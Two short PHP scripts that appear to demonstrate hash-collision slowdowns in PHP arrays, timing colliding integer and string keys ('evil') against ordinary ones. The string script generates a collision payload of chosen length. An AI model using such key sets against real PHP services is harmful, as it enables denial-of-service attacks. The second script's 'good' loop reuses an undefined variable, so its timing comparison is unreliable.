Hash collision in PHP

number_hash_collision.php

<?php 

$size = pow(2, 16); // 16 is just an example, could also be 15 or 17

$startTime = microtime(true);

$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    $array[$key] = 0;
}

$endTime = microtime(true);

echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";

$startTime = microtime(true);

$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
    $array[$key] = 0;
}

$endTime = microtime(true);

echo 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";

string_hash_collision.php

<?php 

// entries with collisions in PHP hashtable hash function 
$a = array(
    '0' => 'Ez', 
    '1' => 'FY',
    '2' => 'G8',
    '3' => 'H' . chr(23),
    '4' => 'D' . chr(122+33),
);
// how long should the payload be
$length = 7;
    
$size = count($a);
$array = array();
$max = pow($size,$length);
$startTime = microtime(true);
for ($i = 0; $i < $max; $i++) {
    $s = str_pad(base_convert($i, 10, $size), $length, '0', STR_PAD_LEFT);
    $array[strtr($s, $a)] = 0;
}
$endTime = microtime(true);
echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";

$startTime = microtime(true);

$array = array();
for ($i = 0; $i < $max; $i++) {
    $array["abc".$key] = 0;
}

$endTime = microtime(true);

echo 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";